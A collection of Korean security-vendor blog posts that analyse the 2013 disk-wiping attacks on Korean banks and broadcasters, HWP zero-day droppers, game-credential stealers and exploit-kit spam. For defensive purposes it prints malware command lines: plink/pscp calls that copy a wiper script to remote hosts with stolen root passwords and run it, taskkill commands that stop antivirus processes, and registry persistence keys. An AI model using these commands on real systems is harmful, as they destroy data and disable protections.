안랩(대표 김홍선, www.ahnlab.com)25일 악성코드의 추가배포 징후를 포착하여 고객 및 개인 PC 사용자의 주의를 당부했다.

 

이번 악성코드의 추가 배포는 오늘 오전 10 30분부터 시작되었고 기업은 물론이고 개인용 PC(불특정 일반인) 대상으로 유포되었다는 점이 특징이다.

 

안랩은 어제(24) 오전 9시 경 변종을 발견하여 분석한 결과 1차 공격에 사용된 악성코드의 특징인 MBR(Master Boot Record) 파괴기능은 물론 C&C(Command & Control) 서버와 통신하는 백도어 설치기능이 추가되었음을 확인했다고 밝혔다.

 

3 20일 방송사와 금융사의 전산망을 마비시킨 1차 공격은 내부 타이머로 공격시간대를 특정한 반면 이번 공격에서는 C&C(Command & Control) 서버와 교신하여 공격자가 원하는 시간대에 공격을 할 수 있도록 되어있다. 특히 이 악성코드는 기존 백신의 진단/치료를 방해하는 기능이 있다.

 

안랩은 ASD엔진의 DNA기술을 이용하여 해당 악성코드를 이미 2013.03.20.07 엔진(20일 오후 9 38분부터 배포)부터 이미 선제 대응이 가능했다.

 

안랩의 V3에 탑재된 ASD(AhnLab Smart Defense) 엔진에서는 해당 악성코드를 유포 하루 전 인 24일 오전 9시경에 수집하였으며관련 정부기관의 조치로 현재 악성코드 유포 사이트 및 C&C서버는 차단된 상태이다.

 

"오늘 오전 10 30 ~ 오후 1 45분까지는 수백 대 이상의 PC가 감염됐을 것으로 추정한다.” 또한 "현재 C&C서버가 차단되어 실행명령은 내려올 수 없으나 기존과는 다른 다양한 방식으로 변종 배포를 시도하고 있어서 기업뿐 아니라 일반 PC사용자들도 주의해야 한다.



신고
Creative Commons License
Creative Commons License
Posted by DH, L@@

3월 20일 14시경 주요 방송사 및 은행 전산망 장애가 발생하는 사고가 한국에서 발생하였으며, ASEC에서는 악성코드 감염 후 디스크 손상으로 부팅 불가로 인해 장애가 발생한 것으로 확인하였다.


현재 해당 악성코드는 운영체제에 따라 디스크를 손상시키는 기능이 포함되어 있으며, 상세한 디스크 손상 내용은 아래 분석 정보에 기술하였다.


해당 악성코드는 V3 엔진(엔진버전:  2013.03.20.06 이상)으로 업데이트 할 경우 검사 및 치료가 가능하며, 3월 20일 오후 6시경부터 제공 중인 전용백신으로도 검사 및 치료 할 수 있다.


[UPDATE - 2013/03/25]


현재까지 ASEC에서 분석한 이번 주요 방송사 및 은행 전산망 장애를 유발한 악성코드는 다음 이미지와 같이 A 케이스와 B 케이스로 나누어서 발생하였다.



우선 위 이미지 좌측 편의 A 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


우선 드로퍼인 File A는  %Temp% 폴더에 다음 파일들을 생성하게 된다.


1) File B : MBR 파괴 기능 수행

2) File C : UPX 압축 된 SSL 연결을 위한 PUTTY 툴

3) File D : UPX 압축된 SFTP 연결을 위한 PUTTY 툴

4) File E : UNIX 계열 시스템 DISK를 파괴하는 스크립트


File E 스크립트가 대상으로 하는 시스템은 AIX Unix, HP Unix, Solaris 및 Linux 이다.


AIX, HP, Solaris 3개 시스템에서는 DD 명령어로 디스크를 10MB 및 81MB 크기 만큼 0으로 덮어 쓰기 하며, Linux 시스템에서는 다음의 디렉토리를 삭제한다.


/kernel/ 

/usr/ 

/etc/ 

/home/


File A에 의해 생성된 File B가 실행이 되면, %Temp% 폴더에 ~v3.log 파일이 존재하는지 확인 하게 된다. 만약 해당 파일이 존재 하지 않다면 감염 된 시스템의 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하게 된다.



그리고 File A 외부에서 원격 접속을 시도하기 위해, 다음 경로의 환경 설정 파일인 confCons.xml가 존재하는지 확인 하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Local Settings\Application Data\Felix_Deimel\mRemote\confCons.xml


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Local\Felix_Deimel\mRemote\confCons.xml


만약 confCons.xml가 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출한다.


Username="root"

Protocol="SSH"

Password=

Hostname

Descr

Panel

Port

Password


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\File C -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\File D -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


SSH의 SCP의 PUTTY 버전인 pscp를 이용해서 File E 를 Batch(Disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 로 복사한다. 그리고, PUTTY의 command 버전인 plink 를 이용해 Batch(disable all interactive prompts) 종료 후, root 계정으로 호스트의 /tmp/cups 에 실행권한을 주고, /tmp/cpus 를 실행한다. 


이와 함께 외부에서 원격 접속을 시도하기 위한 다른 방법으로 다음 경로의 환경 설정 파일이 존재하는 확인하게 된다.


- Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )

C:\Documents and settings\Administrator\Application Data\VanDyke\Config\ Sessions\*.ini


- Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )

C:\Users\AppData\Roaming\VanDyke\Config\Sessions\*.ini


만약 환경 설정 파일이 존재 할 경우에는 다음 문자열에 해당하는 내용을 추출하게 된다.


S:"Protocol Name"=SSH

S:"Username"=root

D:"Session Password Saved"=00000001

S:"Hostname"=

S:"Password"=

D:"[SSH2] Port"=


그리고 하나의 스레드를 생성 한 후 앞서 획득한 문자열들을 조합하여 다음의 명령을 실행하게 된다.


%Temp%\conime.exe -batch -P [port] -l root -pw  %Temp%\~pr1.tmp [host]:/tmp/cups

%Temp%\alg.exe -batch -P [port] -l root -pw  [host] "chmod 755 /tmp/cups;/tmp/cups"


MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하는 File B는 아래와 같은 파일 매핑 오브젝트(FileMapping Object)를 이용하여 동기화 한 후 하나의 프로세스 만이 실행되도록 한다.


JO840112-CRAS8468-11150923-PCI8273V



그리고  %SystemDirectory%\TEMP\~v3.log 이름의 파일이 존재하는지 확인 한 후, 만약 존재하지 않는다면 MBR(Master Boot Recoard) 및 하드 디스크를 파괴하는 기능을 수행하게 된다.


이와 함께 Taskkill 명령을 WinExeC API로 호출 하여 국내 보안 소프트웨어 프로세스를 종료 하게 된다.


Taskkill /F /IM pasvc.exe

Taskkill /F /IM clisvc.exe


File B는 감염 된 시스템의 윈도우(Windows) 버전에 따라 서로 다른 하드 디스크 파괴 스레드(Thread) 를 생성하게 된다.


1) Major Version 5인 경우 ( Windows XP, Windows 2003 Server 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 논리 드라이브를 "PRINCPES" 문자열로 덮어 쓰기


B:\부터 Z:\ 까지 모든 논리 드라이브 중에서 드라이브 타입(Drive Type)이 DRIVE_REMOVABLE이나 DRIVE_FIXED인 드라이브의 데이터를 "PRINCIPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 덮어 쓰게 되는 데이터는 약 5.3MB 간격으로 100KB 씩 덮어 쓰게 된다.


2) Major Version 6인 경우 ( Windows 7, Windows VISTA 등 )


* 물리 디스크의 MBR과 VBR 등을 "PRINCPES" 문자열로 덮어 쓰기


최대 10개 까지 물리 디스크( \\PHYSICALDRIVE0 ~ \\PHYSICALDRIVE9 )를 열어 각 물리 디스크의 MBR과 VBR을 "PRINCPES"이라는 문자열로 반복하여 덮어 쓰게 된다. 확장 파티션을 사용하고 있는 시스템의 경우에는 확장 파티션의 각 파티션의 VBR까지 파괴의 대상이 된다.


* 모든 논리 드라이브의 데이터를 "PRINCPES" 문자열로 덮어 쓴 후 삭제


모든 논리 드라이브의 데이터를 "PRINCPES" 문자열을 반복하여 덮어 씀으로써 원본 파일 내용을 제거 한 뒤, 모든 파일을 DeleteFile API로 삭제하고 모든 디렉토리를 RemoveDirectoryA API로 삭제 한다. 그리고 D:\부터 차례대로 드라이브의 파일 시스템을 제거 한 뒤, 마지막으로 C:\에서 제거한다. 그러나, C:\의 %SystemDirectory%, %ProgramData%, %ProgramFiles% 세 경로의 파일은 제거 하지 않는다.





논리 드라이브 파괴를 시작하고 나서 5분 뒤 "Shutdown -r -t 0 "라는 커맨드 라인(Command Line)을 WinExec로 실행 하여 시스템을 재부팅 시키나, 하드 디스크가 파괴 중일 경우에는 시스템은 재부팅 되지 않는다.



추가적으로 확인된 최초 이미지 우측 편의 B 케이스에 사용되었던 파일들에 대한 세부 분석 내용은 다음과 같다.


드로퍼(Dropper) 역할을 수행하는 File K가 실행이 되면 아래와 같이 국내 보안 소프트웨어의 프로세스들을 강제 종료하게 된다.


taskkill /F /IM vrfwsvc.exe

taskkill /F /IM vrptsvc.exe

taskkill /F /IM vrscan.exe

taskkill /F /IM hpcsvc.exe

taskkill /F /IM hsvcmod.exe

taskkill /F /IM vrfwsock.exe

taskkill /F /IM vrmonnt.exe

taskkill /F /IM vrrepair.exe

taskkill /F /IM vrmonsvc.exe


그리고 국내 보안 소프트웨어 관련 다음 파일들을 삭제를 시도하게 되며, 삭제된 파일들과 동일한 경로에 File FFile L을 생성하게 된다.

VrDown.exe 
VrPatch.exe
ptUpdate.exe
update.zip
vms1014.zip

생성된 File L은 디스크 파괴 기능을 수행하는 File F를 다운로드 하기 위한 환경 설정 파일이며, File F는 앞서 언급한 A 케이스의 File B와 동일한 기능을 수행하게 된다. 그러나, 아래와 같은 세가지 다른 차이점을 가지고 있다.


1) File F는 File B가 갖고 있는 ~V3.log 파일의 존재 여부를 통해 하드 디스크 파괴 여부를 결정하는 기능이 포함되어 있지 않다.


2) File B는 "PRINCPES" 문자열을 이용하여 덮어쓰기를 수행하게 되나, File F는 "HASTATI" 문자열을 이용하여 덮어쓰기를 수행하게 된다.


3) File B는 실행 즉시 특정 문자열을 이용해 덮어 쓰기를 수행하게 되는 반면에, File F는 2013년 03월 20일 14시 이후에 특정 문자열을 이용해 덮어 쓰기를 수행하게 된다.


[UPDATE - 2013/03/22]


ASEC에서는 이번 전산망 장애를 유발한 악성코드에 대한 새로운 변형과 함께 함께 앞서 언급한 두가지 감염 케이스들과 다른 형태를 추가적으로 발견하였다.


먼저 추가적으로 발견한 디스크 손상을 유발하는 악성코드 File G는 기존에 발견된 File BFile F 들과 기능상으로는 동일하지만 디스크 손상을 유발하기 위해 덮었는 문자열이 "PR!NCPES"으로만 변경되었다.



그리고 추가적으로 발견된 감염 케이스에 사용된 악성코드는 아래 이미지와 동일한 전체적인 구조를 가지고 동작하게 된다.



최초 File H는 File I와 File J 두 개의 파일을 윈도우 시스템 폴더(C:\Widnwos\system32)에 생성하고 File I 를 실행 시킨다. 실행된 File I는 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe 프로세스에 인젝션 하게 된다. 


인젝션이 성공적으로 이루어지게 될 경우 인젝션된 File J 힙(Heap)을 할당 받은 후 인코딩(Encoding) 되어 있는 자신의 코드를 디코딩(Decoding) 하여 힙을 생성하여 스레드(Thread로) 구동 한다. 이 때 구동되는 스레드가 디스크를 앞서 언급한 File G와 동일한 "PR!NCPES" 문자열로 디스크를 덮어쓰게 된다.


우선 File H는 생성한 File I를 시스템이 재부팅 할 때마다 자동 실행하기 위해서 윈도우 레지스트리(Registry)에 다음의 키에 값을 추가하게 된다.


HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon"

Shell = explorer.exe, File I


그리고 생성한 윈도우 시스템 폴더에 생성한 File I와 File J의 시간 정보를 Kernel32.dll이 가지고 있는 시간 정보와 동일 하게 성정한다.


File H악성코드가 구동 될 수 있는 환경을 마련 한 뒤에 CMD.exe를 이용하여 ShellExecuteA 함수를 호출하여 자신을 삭제하게 된다.


그리고 생성된 File I는 SeDebugPrivilege 권한을 이용하여 같이 생성된 File J를 정상 시스템 프로세스인 Lsass.exe에 인젝션을 시도 하게 된다.


인젝션은 우선 정상 시스템인 Lsass.exe 프로세스를 찾은 후 File J의 파일명을 문자열로 메모리 할 당 이후, 해당 문자열을 인자로 하여 LoadLibraryW 함수를 시작 주소로 하여 CreateRemoteThread를 호출하는 기법을 이용하였다.


File J 인젝션에 성공하게 되면 XOR 0x55로 인코딩되어 있는 디스크 손상을 위한 코드를 디코딩 한 후에 할당 받은 메모리에 쓰게 된다.


그리고 GetLocalTime 함수를 이용하여 감염된 시스템의 현재 시간을 구한 후 3월 20일 15시가 되기 전까지 대기하게 된다.


이 후 3월 20일 15시 1분이 되면 디코딩 된 디스크 손상을 위해 Thread로 동작하며 전체적인 기능은 앞서 언급한 File G와 동일하나 아래 두 가지만 다르다.


1) 동기화에 사용되는 파일맴핑 오브젝트(FileMapping Object)를 GOLD0112-CRAS8468-PAGE0923-PCI8273W 사용


2) File G는 디스크 손상을 중단하는 파일명이 "~v3.log" 이었으나, File J은 "kb01.tmp"를 사용


현재까지 이번 전산망 장애 관련 악성코드들 모두 V3 제품 군에서 다음과 같이 진단한다.


Win-Trojan/Agent.24576.JPF (2013.03.20.06)

Win-Trojan/Agent.24576.JPG (2013.03.20.07)

Trojan/Win32.XwDoor (2013.03.20.07)

Dropper/Eraser.427520 (2013.03.20.07)

SH/Eraer (2013.03.20.07)

Dropper/Hijacker.153088 (2013.03.21.01)

Win-Trojan/Loader.49152 (2013.03.21.01)

Win-Trojan/Injector.46080.AX (2013.03.21.01)

Trojan/Win32.HDC (AhnLab, 2013.03.21.01) 


현재 ASEC에서는 추가적인 정보들을 지속적으로 수집중이며, 관련된 악성코드들의 상세한 분석 정보를 작성 중에 있다. 


분석정보가 작성되는데로 해당 정보는 수시로 업데이트 될 예정이다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 그 동안 한글과 컴퓨터에서 개발하는 한글 소프트웨어에 존재하였던 취약점들을 악용하여 원격 제어 형태의 악성코드 감염을 시도하는 형태의 위협들에 대해서 지속적으로 알려 왔었다.


금일 다시 한글 소프트웨어에 존재하는 알려지지 않은 제로 데이(0-Day, Zero-Day) 취약점을 악용하여 원격 제어 형태의 악성코드 감염을 시도한 사례가 발견되었다.


현재 ASEC에서는 금일 발견된 해당 제로 데이 취약점에 대해 자세한 분석을 진행 중에 있다.


이 번에 발견된 취약한 한글 파일은 한국 시각으로 11월 21일에서 22일 사이에 정부 기관을 대상으로 유포된 것으로 추정된다.


해당 제로 데이 취약점을 가지고 있는 취약한 한글 문서를 열게 되면, 아래 이미지와 동일하게 "한국 공군의 위상에 대한 평가와 진단"이라는 제목의 문서 내용이 보여지게 된다.



해당 취약한 한글 문서를 한글과 컴퓨터에서 제공하는 최신 보안 패치가 모두 적용된 한글2010이 설치된 시스템에서 열게 되면 아래 경로에 "HncCtrl.exe (139,264 바이트)파일이 생성된다.


 C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\HncCtrl.exe


생성된 "HncCtrl.exe (139,264 바이트)"는 다음 경로에 추가적으로 "taskmgr.exe (61,440 바이트)"와 "sens.dll (36,864 바이트)"를 생성하게 된다.


C:\WINDOWS\system32\IE\sens.dll

C:\WINDOWS\system32\IE\taskmgr.exe


그리고 다음 레지스트리(Registry) 키를 생성하여 시스템이 재부팅하더라도 자동 실행되도록 구성하게 된다.


HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SENS\Parameters\

ServiceDll = C:\WINDOWS\system32\IE\sens.dll


생성된 "sens.dll (36,864 바이트)"는 윈도우 시스템에 존재하는 정상 svchost.exe 프로세스에 스레드(Thread)로 인젝션시킨 이후 감염된 시스템에서 사용자가 입력하는 모든 키보드 입력 값들을 "report.tmp"에 기록하게 된다.


그리고 다른 "taskmgr.exe (61,440 바이트)"는 감염된 시스템이 인터넷 접속이 가능한지 확인하기 위해 구글(Google) 웹 사이트로 접속을 시도하게 된다. 


접속이 성공하게 되면 아래 이미지에서와 같이 감염된 시스템에서 연결되어 있는 구글 사용자 세션을 이용하여 특정 지메일 계정으로 키보드 입력 값들이 기록 되어 있는 "report.tmp"을 첨부하여 발송하게 된다.



이 번에 발견된 국방 관련 내용을 가진 제로 데이 취약점을 악용한 한글 파일과 관련 악성코드들은 모두 V3 제품 군에서 다음과 같이 진단한다.


HWP/Exploit

Win-Trojan/Agent.139264.QV

Win-Trojan/Agent.61440.BBS

Win-Trojan/Agent.36864.CCY


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Exploit


앞서 언급한 바와 같이 금일 발견된 취약한 한글 파일은 기존에 알려지지 않은 제로 데이 취약점을 악용하고 있다. 현재 한글과 컴퓨터를 통해 공식적인 보안 패치가 제공되지 않고 있음으로 외부에서 보내온 이메일에 첨부된 한글 파일이 존재 할 경우에는 각별한 주의를 기울여야 한다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 그 동안 한글과 컴퓨터에서 개발하는 한글 소프트웨어에 존재하는 취약점을 악용하여 악성코드 감염을 시도하는 사례들에 대해 여러 차례 언급한 바가 있다. 최근인 10월 25일에는 대통령 선거 관련 내용을 가진 취약한 한글 파일이 유포된 사례가 있어, 한국 사회에서 주요 관심 사항으로 부각되는 주제들을 악성코드 유포에 악용하는 사회 공학(Social Engineering) 기법들이 정교해지고 있다.


이러한 한국 사회의 주요 관심 사항 중 하나인 한반도 정황 관련 내용을 포함하고 있는 취약한 한글 파일이 10월 31일 발견되었다.


이 번에 발견된 취약한 한글 파일은 "한반도 신뢰 프로세스.hwp (309,612 바이트)"라는 파일명으로 유포되었으며, 해당 취약한 한글 파일을 열게 되면 아래 이미지 파일과 같이 "한반도 신뢰 프로세스 (KOREA TRUST PROCESS)"라는 제목이 나타나게 된다.



해당 취약한 한글 파일을 보안 패치가 설치되지 않은 취약한 한글 소프트웨어를 사용하는 시스템에서 열게 되면 사용자 모르게 백그라운드로 "~ZZ.tmp(102,400 바이트)"를 다음 경로에 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\~ZZ.tmp 


해당 "~ZZ.tmp(102,400 바이트)"이 정상적으로 생성되면 자신의 복사본을 "ms[임의의 문자열 5자리].dll(102,400 바이트)"를 다음 경로에 생성하게 된다.


C:\WINDOWS\system32\ms[임의 문자열 5자리].dll 


그리고 실질적인 악의적인 기능을 수행하는 "[6자리 임의의 문자열].tmp(110,592 바이트)" 을 다음 경로에 생성하게 된다.


C:\Documents and Settings\[사용자 계정명]\Local Settings\Temp\[6자리 임의의 문자열].tmp


생성된 "[6자리 임의의 문자열].tmp(110,592 바이트)" 은 rundll32.exe를 이용해 실행되며 windows_sru.chq 파일을 다음 경로에 생성하게 된다.


C:\WINDOWS\Help\windows_sru.chq


생성된 windows_sru.chq에는 감염된 시스템에서 수집한 다음 정보들을 기록하게 된다.


시스템 하드웨어 정보

윈도우 사용자 계정명


추가적으로 다음 확장자를 가진 파일명들을 수집하여 해당 windows_sru.chq에 기록하게 된다.


EXE, DLL, CHM. AVI, MPG, ASPX, LOG, DAT, PDF, TXT, DOCX, HWP, RAR, ZIP, ALZ, CAB, HTML, GZ, XML, EML, JPG, BMP, ISO, VC4


그리고 백그라운드로 인터넷 익스플로러(iexplore.exe)를 실행시켜 국내 유명 포털 웹사이트의 이메일 서비스를 이용하여 감염된 시스템에서 수집된 정보들이 기록된 windows_sru.chq을 첨부하여 이메일을 발송하게된다.


이 번에 발견된 한반도 정황과 관련된 내용을 가진 취약한 한글 파일과 관련 악성코드들은 모두 V3 제품 군에서 다음과 같이 진단한다.


HWP/Exploit

Win-Trojan/Dllbot.110592

Win-Trojan/Xema.102400.S


APT 전문 대응 솔루션인 트러스와쳐(TrusWatcher)에 포함된 DICA(Dynamic Intelligent Content Analysis)에 의해 시그니처 없이 아래와 같이 탐지가 가능하다.


Exploit/HWP.AccessViolation-DE


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Dropper/MDP.Exploit

Suspicious/MDP.Document


현재 한글과 컴퓨터에서는 해당 취약한 한글 파일들이 악용하는 취약점에 대한 보안 패치를 배포 중인 상태이다. 그러므로 해당 보안 패치를 설치하는 것이 악성코드 감염을 근본적으로 차단하는 방안이다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

온라인 게임에서 사용되는 개인 정보들을 탈취하기 위한 악성코드는 몇 년에 걸쳐서 한국에서 꾸준히 발견되고 있으며, 이제는 매주 주말마다 새로운 변형들을 다양한 웹 어플리케이션 취약점들과 연동하여 유포하고 있다. 이러한 온라인 게임 관련 악성코드에 대해서 ASEC에서는 그 변형들이 악용하는 유포 기법들을 지속적으로 공유하고 잇다.


2011년 10월 - ws2help.dll을 교체하는 온라인 게임 악성코드 분석


2012년 3월 - CVE-2012-0754 취약점을 이용해 전파되는 온라인 게임핵 악성코드


2012년 7월 - XML 코어 서비스 취약점 악용으로 온라인 게임 악성코드 유포


2012년 7월 - GongDa Pack의 스크립트 악성코드 증가


2012년 8월 - YSZZ 스크립트 악성코드의 지속 발견


2012년 10월 - 패치드(Patched) 형태의 악성코드 변천사


이러한 온라인 게임의 사용자 개인 정보 탈취를 목적으로하는 악성코드가 최근에서는 usp10.DLL 파일을 악용하여 보안 소프트웨어를 무력화 기능까지 포함된 악성코드가 발견되었다.


이 번에 발견된 온라인 게임 관련 악성코드는 크게 3가지 부분으로 구분 할 수 있으며, 각각 다음과 같은 기능들을 가지고 있다.


드로퍼(Dropper) - TeminateProcess를 호출하여 보안 소프트웨어 강제 종료 시도


usp10.DLL : 로드 후 자신의 부모 프로세스가 보안 소프트웨어 프로세스 중 하나라면 UnmapViewOfSection 또는 ExitProcess 호출


에브킬(AVKill) 루트킷 : NtOpenProcess와 NtTerminateProcess 후킹 해제하여 보안 프로그램 강제 종료 시도


해당 온라인 게임 관련 악성코드의 드로퍼는 다음 보안 소프트웨어와 시스템 모니터링 툴의 프로세스가 실행 중이라면 강제 종료를 시도하게 된다.



그리고 윈도우 레지스트리(Registry)를 편집하여 다음과 같은 기능을 활성하게 된다.


"숨김 파일 및 폴더를 표시 안함" 설정

세팅하여 "알려진 파일 형식의 파일 확장명 숨기기" 설정


이와 함께 2개의 스레드(Thread)를 생성하여 다음의 기능들을 수행하게 된다.


1) usp10.DLL 생성

드로퍼는 두 개의 PE 파일을 포함하고 있으며, 첫 번째 스레드는 악의적인 usp10.DLL을 C 드라이브를 제외한 모든 드라이브의 모든 폴더에 EXE 파일이 존재하는지 확인 후 해당 DLL 파일을 생성하게 된다. 


그 후 해당 EXE 파일들이 실행 될 경우, 윈도두 시스템 폴더(System32) 폴더에 존쟇는 정상 DLL 파일 대신에 해당 악의적인 usp10.DLL을 먼저 로드 하게 된다. 


2) 다른 악성코드 다운로드 및 정보 유출

두 번째 스레드는 미국에 위치한 특정 시스템에서 다른 악성코드를 다운로드 및 실행 하게 된다.그리고 미국에 위치한 또 다른 특정 시스템으로 감염된 시스템의 MAC 주소와 운영체제 정보를 전송하게 된다.


드로퍼에 의해 생성된 usp10.DLL은 윈도우 시스템 폴더(System32)에 존재하는 정상 usp10.DLL을 로드 한 뒤, 정상 usp10.DLL의 익스포트(Export) 함수들을 리다이렉트(Redirect) 시키게 된다. 그리고 다른 악성코드를 다운로드 및 실행을 시도하나 분석 당시에는 정상적으로 다운로드 되지 않았다. 이와 함께 UnmapViewOfSection이나 ExitProcess를 호출하여 보안 소프트웨어의 프로세스에 대한 강제 종료를 시도하게 된다.


이 번에 발견된 usp10.DLL 파일을 악용하여 보안 소프트웨어를 무력화 기능까지 포함된 온라인 게임 관련 악성코드는 V3 제품 군에서 다음과 같이 진단한다.


Dropper/Win32.OnlineGameHack

Trojan/Win32.OnlineGameHack

Dropper/Win32.OnlineGameHack


향후 출시 예정인 V3 인터넷 시큐리티(Internet Security) 9.0 에 포함 예정인 ASD 2.0의 MDP 엔진에서도 시그니처 없이 다음과 같이 탐지가 가능하다.


Suspicious/MDP.DropMalware

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원

ASEC에서는 2009년부터 익스플로잇 툴킷(Web Exploit Toolkit)이라는 웹을 기반으로 하여 웹 브라우저(Web Browser)나 웹 기반 애플리케이션(Web Application)들에 존재하는 취약점들을 자동으로 악용하도록 제작된 툴킷의 위험성에 대해 언급하였다.


그리고 웹 익스플로잇 투킷의 한 종류인 블랙홀(Blackhole) 웹 익스플로잇 툴킷을 이용하여 실제 사회적 주요 이슈나 소셜 네트워크(Social Network)와 같은 일반 사람들이 관심을 가질 만한 내용들을 포함한 스팸 메일(Spam Mail)의 사회 공학(Social Engineering) 기법으로 악성코드 유포를 시도한 사례들이 다수 존재한다.


2012년 6월 - 스팸 메일과 결합된 웹 익스플로잇 툴킷


2012년 7월 - 링크드인 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷


2012년 8월 - 페이팔 스팸 메일과 결합된 블랙홀 웹 익스플로잇 툴킷


특히 올해 2012년 4분기에는 미국과 한국에는 대통령 선거라는 정치적인 중요한 이슈가 존재하다. 이러한 중요한 이슈를 악용하여 스팸 메일에 존재하는 악의적인 웹 사이트 링크로 유도하는 사례가 발견되었다.


이 번에 발견된 스팸 메일 사례에는 아래 이미지와 같이 미국 대통령 선거의 후보 중 한 명인 미트 롬니(Mitt Romney)가 60% 차이로 앞서고 있다는 허위 사실을 포함하여, 하단에 존재하는 웹 사이트 링크를 클릭하도록 유도하고 있다.



해당 링크를 클릭하게 될 경우에는 블랙홀 웹 익스플로잇 툴킷의 악의적인 웹 사이트로 연결되도록 설정되어 있어, 사용하는 시스템에 웹 브러우저와 웹 애플리케이션에 취약점이 존재 할 경우에는 이를 악용하여 다른 악성코드의 감염을 시도하게 된다.


이 번에 발견된 미국 대통령 선거 뉴스로 위장한 스팸 메일을 통해 유포된 악성코드들은 V3 제품 군에서 다음과 같이 진단한다. 


PDF/Exploit

Java/Cve-2012-1723

Trojan/Win32.Pakes 


현재 웹 익스플로잇 툴킷을 이용하여 다양한 악성코드를 유포 중에 있음으로 각별한 주의가 필요하다. 그리고 향후에도 미국과 한국의 대통령 선거와 관련된 사회적 중요 이슈들을 악용한 보안 위협이 발생할 가능성이 높음으로 주의가 필요하다.

저작자 표시 비영리 변경 금지
신고
Creative Commons License
Creative Commons License
Posted by 비회원
2012년 1월 27일 금일 트렌드 마이크로(Trend Micro) 블로그 "Malware Leveraging MIDI Remote Code Execution Vulnerability Found"를 통해 마이크로소프트(Microsoft)에서 1월 11일 배포하였던 보안 패치인 "MS12-004  Windows Media의 취약점으로 인한 원격 코드 실행 문제점 (2636391)"와 관련된 취약점(CVE-2012-0003)을 악용하여 유포된 악성코드가 발견되었다.

해당 MS12-004 취약점을 악용하여 유포된 악성코드와 관련된 사항들을 ASEC에서 추가적인 조사를 진행하는 과정에서 해당 악성코드는 아래와 같은 전체적이 구조를 가지고 있는 것으로 파악하였다.


악성코드 감염의 근본적인 시작이 되는 mp.html(16,453 바이트) 파일은 최초 1월 21일 설날 연휴가 시작되는 토요일 국내에서 발견되었으며, 해당 스크립트 악성코드가 존재하였던 시스템은 미국에 위치하고 있다.

그리고 해당 악성코드들과 관련된 공격자는 한국과 중국을 포함한 극동 아시아 권을 주된 대상으로 해당 악성코드들을 유포 한 것으로 ASEC에서는 추정하고 있다. 


해당 mp.html 스크립트 악성코드를 텍스트 에디터로 분석을 해보면 아래와 같은 구조를 가지고 있으며, 파일 중간에는 실질적인 MS12-004 취약점을 악용하는 MIDI 파일인 baby.mid(38,068 바이트) 파일과 다른 자바 스크립트(JavaScript)인 i.js와 쉘코드(Shallcode)가 포함되어 있다.


아래 이미지와 동일한 MIDI 파일인 baby.mid는 MS12-004 취약점을 악용하도록 되어 있으며, 해당 취약점을 통해 ASLR/DEP를 모두 우회하여 공격자가 지정한 특정 코드를 실행 할 수 있도록 되어 있다. 

일반적인 MIDI 파일 포맷은 Header Chunk 와 Track Chunks로 구성되어 있다. 그러나 이번에 발견된 악의적으로 조작된 MIDI 파일에서 Note On/OFF (소리내기/끄기) 명령어인 해당 Track Event 중 첫번째 파라미터인 "Note Number" 값은 최대 127까지 표현가능하다.  

그러므로, 아래 이미지와 같이 B2(>128) 값으로 설정된 경우에는 오프셋(Offset) 계산 시 경계 범위를 넘게되어 잘못된 메모리 번지를 참조하게 되는 오류가 발생하게 된다.


mp.html 스크립트 악성코드에 포함되어 있는 쉘코드는 미국에 위치한 특정 시스템에서 인코딩(Encoding) 되어 있는 파일인 tdc.exe(73,728 바이트) 를 다운로드 한 후에 다시 이를 디코딩(Decoding) 과정을 거쳐 정상적인 PE 파일 형태를 가지게 된다.


정상적인 PE 파일 형태를 가지게 된 tdc.exe 파일이 실행되면 다음의 파일들을 생성하게 된다.

C:\WINDOWS\system32\drivers\com32.sys (11,648 바이트)
C:\WINDOWS\system32\com32.dll (57,344 바이트)


레지스트리(Registry)에 다음의 키 값을 생성하여 윈도우(Windows)가 재시작 시에 해당 드라이버 파일이 "Com32"라는 서비스명으로 자동 구동 되도록 설정하게 된다.

HKLM\SYSTEM\ControlSet001\Services\Com32\ImagePath  
"System32\drivers\com32.sys"


